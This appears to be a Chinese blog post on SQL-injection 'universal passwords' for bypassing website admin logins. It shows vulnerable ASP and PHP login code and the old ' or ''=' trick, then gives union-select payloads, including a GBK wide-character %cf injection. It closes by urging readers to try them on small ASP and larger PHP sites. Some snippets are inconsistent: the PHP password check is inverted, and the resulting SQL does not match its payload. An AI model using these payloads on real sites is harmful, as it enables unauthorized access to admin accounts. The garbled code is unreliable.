新型萬能登陸密碼

對於很多對登陸端沒做處理的網站,此方法值得一試,尤其是你已經知道源碼了卻不能執行命令(ACCESS數據庫)或者對方能報錯( MYSQL數據庫)。
首先我們回顧下老的萬能密碼or漏洞的實現機制,先帖一段asp源碼:
---------------------------老的存在or漏洞的asp代碼----------------------------------------
username = request.form("username")
password = request.form("password ")
set rs=server.createobject("adodb.recordset")
sql = "select * from admin where UserName='"&username&"' And PassWord='"& password &"'"
rs.open sql,conn,1,3
--------------------------------------------------------------------------------------------------------
將表單中的username和password數據分別賦值給username和password,執行
select * from admin where UserName='"&username&"' And PassWord='"&password&"' 語句
但如果被賦值的username是 ' or ''=' (password任意填寫)則SQL語句變成了
select * from admin where UserName='' or ''='' And PassWord='123'
''=''條件成立,則語句成功找到管理表裏首位的帳號身份驗證登陸,因而成了or漏洞,除' or ''='以外,'or'='or' 啊什麼的都可以,於是早年or漏洞形成了萬能登陸密碼。
針對這種or漏洞,很多asp站點進行了改進,改進後的源碼大致如下:
---------------------------後來經過改進後的asp代碼-----------------------------------------
username = request.form("username")
password = request.form("password ")
set rs=server.createobject("adodb.recordset")
sql = "select [password] from admin where UserName='"&username&"'"
rs.open sql,conn,1,3
If password = rs("password") then
…’登陸成功
End if
--------------------------------------------------------------------------------------------------------
現在很多asp站點的登陸頁面都是這麼寫的,如果是mssql,還可以執行SQL語句;但如果是ACCESS,很多人應該都會望而卻步了吧?其實在沒有過濾單引號的情況下,我們還是可以用“萬能密碼”登陸進後臺的。
下面我們進入主題,討論新型萬能登陸密碼,以php代碼爲例,由於字符集編碼的問題,管理登陸端可以注入,先看源碼:
-----------存在字符集漏洞或者magic_quotes_gpc爲off的php代碼-------------------
$row=$DB->query_first("Select * FROM admin Where username='$username'");
If($row){
if($password!=$row[password]) {
…..//成功
}else{
echo "用戶名或密碼錯誤!";
}
}else{
echo "用戶名或密碼錯誤!";
}
--------------------------------------------------------------------------------------------------------
由於字符集問題,我們可以注入,但由於回顯都一樣,所以猜不到數據。根據錯誤提示,我們發現管理表一共6列,password在第三列,於是我們構造如下用戶名與密碼:
Username=-1%cf' union select 1,1,1 as password,1,1,1 %23
Password=1
帶入登陸框,sql語句爲:
Select * FROM admin Where username='-1蟎' union select 1,1 as password,1,1,1,1
前面的用戶名肯定不存在,於是select出來的password就是1了,就等於提交的password了,經測試,成功繞過驗證。
現在我們再回頭看看之前改進過的asp登陸代碼,我們該如何繞過呢,原理同上:
Username=-1' union select 1 as [password] from admin where '1'='1
Password=1
呵呵,輕鬆繞過認證,到此爲止大家知道該如何利用了吧,對於現在絕大多數的小asp站以及一定規模的php站點,大家不防試試這個萬能密碼~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章